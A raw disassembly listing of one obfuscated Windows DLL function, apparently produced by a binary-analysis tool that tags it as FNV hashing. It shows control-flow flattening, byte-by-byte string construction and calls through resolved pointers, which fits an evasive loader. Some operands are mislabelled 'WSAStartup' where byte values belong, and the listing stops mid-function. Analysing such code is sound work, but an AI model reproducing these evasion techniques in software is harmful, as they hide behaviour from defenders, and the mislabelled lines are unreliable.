Function at 0x180026490
Capabilities:
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x12c8
call fcn.1800ba020
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1230], xmm6
mov qword [rbp + 0x38], rcx
mov rax, qword [0x1800e8a00]
xor rax, rbp
mov qword [rbp + 0x1228], rax
movabs r14, 0xcbf29ce484222325
movabs r9, 0x100000001b3
mov eax, 0xdaa4d6c
xorps xmm6, xmm6
mov r10d, 0xed3b0916
mov r11d, 0xde9741b
mov r12d, 0x45d558a
mov r13d, 0xb18d2356
mov r15d, 0xec989665
nop word [rax + rax]
mov r8d, 0xf06d6b09
mov esi, 0xd2fcbbf0
cmp eax, 0xdaa4d6b
jle 0x180026560
cmp eax, 0x3849b953
jle 0x1800265b0
cmp eax, 0x69921012
jg 0x180026692
cmp eax, 0x3849b954
je 0x180026722
cmp eax, 0x6124f262
je 0x18002c4d5
cmp eax, 0x63fd54e7
je 0x18002c56d
jmp 0x18002651b
cmp eax, 0xca94027e
jg 0x1800265f0
cmp eax, 0xa1bd5240
jle 0x1800266b8
cmp eax, 0xa1bd5241
je 0x180026742
cmp eax, 0xc69843f9
je 0x180026786
cmp eax, 0xc72d3f13
jne 0x18002651b
cmp byte [rbp + 0xd3], 0
mov eax, 0x71864bc3
mov ecx, 0x6124f262
cmovne eax, ecx
jmp 0x18002651b
cmp eax, 0x346720bf
jle 0x1800266de
cmp eax, 0x346720c0
je 0x180026794
cmp eax, 0x351f3c78
je 0x180026802
cmp eax, 0x37c4bc1b
jne 0x18002651b
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x58]
mov eax, 0xc69843f9
jmp 0x18002651b
cmp eax, 0xe82c97c0
jle 0x180026702
cmp eax, 0xe82c97c1
je 0x180026855
cmp eax, 0xf85bf435
je 0x1800268df
cmp eax, 0xfcd5c40d
jne 0x18002651b
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x30]
mov r9, qword [rbp + 0xc0]
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x48]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r8d, r8d
call rbx
mov r8d, 0xf06d6b09
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x30
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov rax, qword [rbp + 0x48]
cmp word [rax], 0
mov eax, 0xca94027f
mov ecx, 0x63fd54e7
cmove eax, ecx
jmp 0x18002651b
cmp eax, 0x69921013
je 0x1800268f1
cmp eax, 0x71864bc3
je 0x180026967
cmp eax, 0x7384abce
je 0x18002c610
jmp 0x18002651b
cmp eax, 0x8416f6af
je 0x180026975
cmp eax, 0x9f0ed0bb
je 0x18002c6cf
cmp eax, 0x8cf6760e
jne 0x18002651b
jmp 0x180030b05
cmp eax, 0xdaa4d6c
je 0x180026a52
cmp eax, 0x2cd8671c
jne 0x18002651b
mov rax, qword [rbp + 0x68]
mov eax, 0x8cf6760e
jmp 0x18002651b
cmp eax, 0xca94027f
je 0x18002c715
cmp eax, 0xde13eb92
jne 0x18002651b
mov eax, 0xc69843f9
jmp 0x18002651b
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
mov eax, 0xa1bd5241
jmp 0x18002651b
mov rax, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
sub rsp, 0x20
call rax
mov r8d, 0xf06d6b09
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp]
mov rax, qword [rbp + 8]
mov eax, 0x71864bc3
jmp 0x18002651b
mov rax, qword [rbp + 0x60]
mov eax, 0x2cd8671c
jmp 0x18002651b
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], 0x1c
mov rcx, qword [rbp + 0xe0]
mov dword [rbp + 0x108], 0x52
mov edx, 0x747d35ac
cmp edx, 0x65062d77
je 0x180026b8d
cmp edx, 0x747d35ac
jne 0x1800267e0
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x1800267e0
mov rax, qword [rbp + 0x98]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp + 0x98]
mov dword [rbp + 0xf8], 0x43
mov ecx, 0x208c3fae
nop word [rax + rax]
cmp ecx, 0x15381f02
je 0x180026bdd
cmp ecx, 0x208c3fae
jne 0x180026830
mov dword [rbp + 0x198], 1
mov ecx, 0x15381f02
jmp 0x180026830
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0xe0], rax
mov rcx, qword [rbp + 0xe0]
mov word [rcx], 0x6d70
mov rcx, qword [rbp + 0xe0]
mov edx, 0x46f491c2
nop dword [rax]
cmp edx, 0xe117043c
je 0x180026c2d
cmp edx, 0x46f491c2
jne 0x180026880
mov qword [rbp + 0x108], rax
mov edx, 0x361de116
cmp edx, 0x683d929e
je 0x1800268c5
cmp edx, 0x361de116
jne 0x1800268a0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x683d929e
jmp 0x1800268a0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x43
mov dword [rbp + 0xf8], edx
mov edx, 0xe117043c
jmp 0x180026880
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov eax, 0xc72d3f13
jmp 0x18002651b
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800bc230
add rsp, 0x20
lea rax, [rbp + 0x220]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800bc230
call fcn.180012650
mov r8d, 0xf06d6b09
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
test eax, eax
mov eax, 0x8416f6af
mov ecx, 0x346720c0
cmove eax, ecx
jmp 0x18002651b
mov rax, qword [rbp + 0x20]
mov eax, 0xde13eb92
jmp 0x18002651b
lea rax, [rbp + 0x180]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rbp + 0x58]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rax, [rbp + 0x118]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov dword [rbp + 0x118], 0x68
mov dword [rbp + 0x154], 1
mov word [rbp + 0x158], 0
mov eax, 0xcd4c63d1
lea rbx, [rbp + 0x198]
nop
cmp eax, 0xc7bac0e9
je 0x180026caf
cmp eax, 0xcd4c63d1
jne 0x1800269f0
mov dword [rbp + 0xf8], 0x47
mov eax, 0x55e99ba6
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xab725888
je 0x180026a3f
cmp eax, 0x55e99ba6
jne 0x180026a20
mov dword [rbp + 0x108], 4
mov eax, 0xab725888
jmp 0x180026a20
mov eax, dword [rbp + 0x108]
mov byte [rbp + 0xf0], al
mov eax, 0xc7bac0e9
jmp 0x1800269f0
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb8], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xc8], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb0], rax
mov eax, 0x60
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xa8], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xc0], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xa0], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x98], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x90], rax
mov eax, 0x30
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x88], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x78], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xa20]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov eax, 0x69921013
jmp 0x18002651b
mov rdx, qword [rbp + 0x198]
movsx edx, byte [rdx]
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xe9a2447
je 0x180026d32
cmp edx, 0xddde9211
jne 0x180026bb0
mov edx, dword [rbp + 0x108]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0xf8], dl
mov edx, 0xe9a2447
jmp 0x180026bb0
mov ecx, dword [rbp + 0x198]
movzx ecx, cx
mov dword [rbp + 0x108], ecx
mov ecx, 0x31621dba
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x33dbcd71
je 0x180026d82
cmp ecx, 0x31621dba
jne 0x180026c00
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0x108]
mov dword [rbp + 0x198], ecx
mov ecx, 0x33dbcd71
jmp 0x180026c00
mov edx, dword [rbp + 0xf8]
mov word [rcx + 2], dx
add rcx, 4
mov qword [rbp + 0xe8], rcx
mov ecx, 0x46f491c2
nop word [rax + rax]
cmp ecx, 0xe117043c
je 0x180026dc5
cmp ecx, 0x46f491c2
jne 0x180026c50
mov qword [rbp + 0x108], rax
mov ecx, 0x361de116
cmp ecx, 0x683d929e
je 0x180026c95
cmp ecx, 0x361de116
jne 0x180026c70
mov rcx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rcx
mov ecx, 0x683d929e
jmp 0x180026c70
mov rcx, qword [rbp + 0x198]
movzx ecx, word [rcx]
xor ecx, 0x61
mov dword [rbp + 0xf8], ecx
mov ecx, 0xe117043c
jmp 0x180026c50
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0xf8]
add cl, al
mov byte [rbp + 0x198], cl
mov eax, 0xcd4c63d1
nop dword [rax + rax]
cmp eax, 0xc7bac0e9
je 0x1800270b9
cmp eax, 0xcd4c63d1
jne 0x180026cd0
mov dword [rbp + 0xf8], 0x65
mov eax, 0x55e99ba6
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xab725888
je 0x180026d1f
cmp eax, 0x55e99ba6
jne 0x180026d00
mov dword [rbp + 0x108], 4
mov eax, 0xab725888
jmp 0x180026d00
mov eax, dword [rbp + 0x108]
mov byte [rbp + 0xf0], al
mov eax, 0xc7bac0e9
jmp 0x180026cd0
mov dl, byte [rbp + 0xf8]
mov byte [rcx + 1], dl
add rcx, 2
mov qword [rbp + 0xe8], rcx
mov dword [rbp + 0x108], 0x65
mov ecx, 0x747d35ac
nop word cs:[rax + rax]
nop
cmp ecx, 0x65062d77
je 0x18002775a
cmp ecx, 0x747d35ac
jne 0x180026d60
mov qword [rbp + 0x198], rax
mov ecx, 0x65062d77
jmp 0x180026d60
mov ecx, dword [rbp + 0x198]
mov word [rax], cx
mov dword [rbp + 0xf8], 0x61
mov ecx, 0x208c3fae
nop word [rax + rax]
cmp ecx, 0x15381f02
je 0x1800277ad
cmp ecx, 0x208c3fae
jne 0x180026da0
mov dword [rbp + 0x198], 1
mov ecx, 0x15381f02
jmp 0x180026da0
mov ecx, dword [rbp + 0xf8]
mov rdx, qword [rbp + 0xe8]
mov word [rdx], cx
mov edx, 0xf0bee314
nop word [rax + rax]
cmp edx, 0x326faf48
jg 0x180026e20
cmp edx, 0xe5652d66
je 0x180026e53
cmp edx, 0xf0bee314
jne 0x180026de0
mov rdx, qword [rbp + 0xe8]
add rdx, 2
mov qword [rbp + 0xf0], rdx
mov word [rbp + 0x114], 0x63
mov edx, 0xe5652d66
jmp 0x180026de0
cmp edx, 0x326faf49
je 0x1800277fd
cmp edx, 0x6ce739bb
jne 0x180026de0
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0xf8]
mov edx, 0x6ce739bb
mov ebx, 0x326faf49
cmove edx, ebx
jmp 0x180026de0
movzx ecx, word [rbp + 0x114]
mov edx, 0x46f491c2
nop
cmp edx, 0xe117043c
je 0x180026ec2
cmp edx, 0x46f491c2
jne 0x180026e60
mov qword [rbp + 0x108], rax
mov edx, 0x361de116
nop dword [rax]
cmp edx, 0x683d929e
je 0x180026ea5
cmp edx, 0x361de116
jne 0x180026e80
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x683d929e
jmp 0x180026e80
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor dx, cx
movzx edx, dx
mov dword [rbp + 0x100], edx
mov edx, 0xe117043c
jmp 0x180026e60
mov ecx, dword [rbp + 0x100]
mov rdx, qword [rbp + 0xf0]
mov word [rdx], cx
mov rcx, qword [rbp + 0xf0]
mov edx, 0x46f491c2
nop
cmp edx, 0xe117043c
je 0x180026f3f
cmp edx, 0x46f491c2
jne 0x180026ee0
mov qword [rbp + 0x108], rax
mov edx, 0x361de116
nop dword [rax]
cmp edx, 0x683d929e
je 0x180026f25
cmp edx, 0x361de116
jne 0x180026f00
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x683d929e
jmp 0x180026f00
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x68
mov dword [rbp + 0x100], edx
mov edx, 0xe117043c
jmp 0x180026ee0
mov edx, dword [rbp + 0x100]
mov word [rcx + 2], dx
mov edx, 0x46f491c2
nop
cmp edx, 0xe117043c
je 0x180026faf
cmp edx, 0x46f491c2
jne 0x180026f50
mov qword [rbp + 0x108], rax
mov edx, 0x361de116
nop dword [rax]
cmp edx, 0x683d929e
je 0x180026f95
cmp edx, 0x361de116
jne 0x180026f70
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x683d929e
jmp 0x180026f70
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0xe117043c
jmp 0x180026f50
mov edx, dword [rbp + 0x100]
mov word [rcx + 4], dx
mov edx, 0x46f491c2
nop
cmp edx, 0xe117043c
je 0x18002701f
cmp edx, 0x46f491c2
jne 0x180026fc0
mov qword [rbp + 0x108], rax
mov edx, 0x361de116
nop dword [rax]
cmp edx, 0x683d929e
je 0x180027005
cmp edx, 0x361de116
jne 0x180026fe0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x683d929e
jmp 0x180026fe0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x44
mov dword [rbp + 0x100], edx
mov edx, 0xe117043c
jmp 0x180026fc0
mov edx, dword [rbp + 0x100]
mov word [rcx + 6], dx
mov edx, 0x46f491c2
nop
cmp edx, 0xe117043c
je 0x18002708f
cmp edx, 0x46f491c2
jne 0x180027030
mov qword [rbp + 0x108], rax
mov edx, 0x361de116
nop dword [rax]
cmp edx, 0x683d929e
je 0x180027075
cmp edx, 0x361de116
jne 0x180027050
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x683d929e
jmp 0x180027050
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x42
mov dword [rbp + 0x100], edx
mov edx, 0xe117043c
jmp 0x180027030
mov edx, dword [rbp + 0x100]
mov word [rcx + 8], dx
add rcx, 0xa
mov rdx, qword [rbp + 0xe0]
add rdx, 0x12
mov qword [rbp + 0xf8], rdx
mov edx, 0x6ce739bb
jmp 0x180026de0
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0xf8]
add cl, al
mov byte [rbp + 0x199], cl
lea rax, [rbp + 0x19a]
mov qword [rbp + 0xf0], rax
lea rax, [0x1800dfb31]
mov qword [rbp + 0xf8], rax
mov eax, 0x41f20cc8
nop
cmp eax, 0xe53e20ac
je 0x18002786a
cmp eax, 0x41f20cc8
jne 0x1800270f0
mov rax, qword [rbp + 0xf8]
movsx eax, byte [rax]
mov ecx, 0xcd4c63d1
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027174
cmp ecx, 0xcd4c63d1
jne 0x180027120
mov dword [rbp + 0xe0], eax
mov ecx, 0x55e99ba6
nop dword [rax + rax]
cmp ecx, 0xab725888
je 0x180027161
cmp ecx, 0x55e99ba6
jne 0x180027140
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027140
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027120
mov al, byte [rbp + 0x100]
mov ecx, dword [rbp + 0xe0]
add cl, al
mov rax, qword [rbp + 0xf0]
mov byte [rax], cl
mov rax, qword [rbp + 0xf0]
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x1800271f4
cmp ecx, 0xcd4c63d1
jne 0x1800271a0
mov dword [rbp + 0xe0], 0x4d
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x1800271e1
cmp ecx, 0x55e99ba6
jne 0x1800271c0
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x1800271c0
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x1800271a0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 1], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027264
cmp ecx, 0xcd4c63d1
jne 0x180027210
mov dword [rbp + 0xe0], WSAStartup
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027251
cmp ecx, 0x55e99ba6
jne 0x180027230
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027230
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027210
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 2], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x1800272d4
cmp ecx, 0xcd4c63d1
jne 0x180027280
mov dword [rbp + 0xe0], 0x64
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x1800272c1
cmp ecx, 0x55e99ba6
jne 0x1800272a0
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x1800272a0
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027280
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 3], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027344
cmp ecx, 0xcd4c63d1
jne 0x1800272f0
mov dword [rbp + 0xe0], 0x75
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027331
cmp ecx, 0x55e99ba6
jne 0x180027310
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027310
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x1800272f0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 4], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x1800273b4
cmp ecx, 0xcd4c63d1
jne 0x180027360
mov dword [rbp + 0xe0], WSAStartup
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x1800273a1
cmp ecx, 0x55e99ba6
jne 0x180027380
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027380
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027360
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 5], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027424
cmp ecx, 0xcd4c63d1
jne 0x1800273d0
mov dword [rbp + 0xe0], 0x65
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027411
cmp ecx, 0x55e99ba6
jne 0x1800273f0
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x1800273f0
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x1800273d0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 6], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027494
cmp ecx, 0xcd4c63d1
jne 0x180027440
mov dword [rbp + 0xe0], 0x46
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027481
cmp ecx, 0x55e99ba6
jne 0x180027460
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027460
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027440
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 7], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027504
cmp ecx, 0xcd4c63d1
jne 0x1800274b0
mov dword [rbp + 0xe0], 0x69
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x1800274f1
cmp ecx, 0x55e99ba6
jne 0x1800274d0
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x1800274d0
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x1800274b0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 8], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027574
cmp ecx, 0xcd4c63d1
jne 0x180027520
mov dword [rbp + 0xe0], WSAStartup
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027561
cmp ecx, 0x55e99ba6
jne 0x180027540
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027540
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027520
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 9], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x1800275e4
cmp ecx, 0xcd4c63d1
jne 0x180027590
mov dword [rbp + 0xe0], 0x65
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x1800275d1
cmp ecx, 0x55e99ba6
jne 0x1800275b0
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x1800275b0
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027590
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 0xa], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027654
cmp ecx, 0xcd4c63d1
jne 0x180027600
mov dword [rbp + 0xe0], 0x4e
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027641
cmp ecx, 0x55e99ba6
jne 0x180027620
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027620
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027600
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 0xb], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x1800276c4
cmp ecx, 0xcd4c63d1
jne 0x180027670
mov dword [rbp + 0xe0], 0x61
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x1800276b1
cmp ecx, 0x55e99ba6
jne 0x180027690
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027690
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180027670
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 0xc], dl
mov ecx, 0xcd4c63d1
nop word [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x180027734
cmp ecx, 0xcd4c63d1
jne 0x1800276e0
mov dword [rbp + 0xe0], WSAStartup
mov ecx, 0x55e99ba6
nop
cmp ecx, 0xab725888
je 0x180027721
cmp ecx, 0x55e99ba6
jne 0x180027700
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180027700
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x1800276e0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 0xd], dl
add rax, 0xe
mov qword [rbp + 0x108], rax
mov eax, 0xe53e20ac
jmp 0x1800270f0
mov rcx, qword [rbp + 0x198]
mov cl, byte [rcx]
add cl, 1
movsx ecx, cl
mov dword [rbp + 0x198], ecx
mov ecx, 0xddde9211
nop word cs:[rax + rax]
nop
cmp ecx, 0xe9a2447
je 0x1800278d2
cmp ecx, 0xddde9211
jne 0x180027780
mov ecx, dword [rbp + 0x108]
xor ecx, dword [rbp + 0x198]
mov byte [rbp + 0xf8], cl
mov ecx, 0xe9a2447
jmp 0x180027780
mov ecx, dword [rbp + 0x198]
movzx ecx, cx
mov dword [rbp + 0x108], ecx
mov ecx, 0x31621dba
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x33dbcd71
je 0x180027fc2
cmp ecx, 0x31621dba
jne 0x1800277d0
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0x108]
mov dword [rbp + 0x198], ecx
mov ecx, 0x33dbcd71
jmp 0x1800277d0
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.180031750
add rsp, 0x20
mov rcx, qword [rbp + 0xc8]
mov rcx, qword [rcx]
mov rdx, qword [rbp - 0x10]
mov rbx, qword [rbp - 0x60]
mov edi, dword [rbp + 0x44]
mov r9d, dword [rbp + 0x40]
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdx
mov rdx, rax
xor r8d, r8d
call rbx
mov r8d, 0xf06d6b09
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x30
mov rax, qword [rbp - 0x30]
mov eax, 0xca94027f
jmp 0x18002651b
mov eax, 0xcd4c63d1
nop
cmp eax, 0xc7bac0e9
je 0x180028005
cmp eax, 0xcd4c63d1
jne 0x180027870
mov dword [rbp + 0xe0], 0x65
mov eax, 0x55e99ba6
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xab725888
je 0x1800278bf
cmp eax, 0x55e99ba6
jne 0x1800278a0
mov dword [rbp + 0xe8], 4
mov eax, 0xab725888
jmp 0x1800278a0
mov eax, dword [rbp + 0xe8]
mov byte [rbp + 0x100], al
mov eax, 0xc7bac0e9
jmp 0x180027870
mov cl, byte [rbp + 0xf8]
mov rdx, qword [rbp + 0xe8]
mov byte [rdx], cl
mov edx, 0x6248a062
nop word cs:[rax + rax]
cmp edx, 0x3b416919
jg 0x180027910
cmp edx, 0x952ed658
je 0x18002795e
cmp edx, 0xf670530f
jne 0x1800278f0
jmp 0x180028094
cmp edx, 0x3b41691a
je 0x1800279a2
cmp edx, 0x6248a062
jne 0x1800278f0
mov rdx, qword [rbp + 0xe8]
mov dword [rbp + 0x100], 0x67
mov ebx, 0x747d35ac
nop word [rax + rax]
cmp ebx, 0x65062d77
je 0x1800279c2
cmp ebx, 0x747d35ac
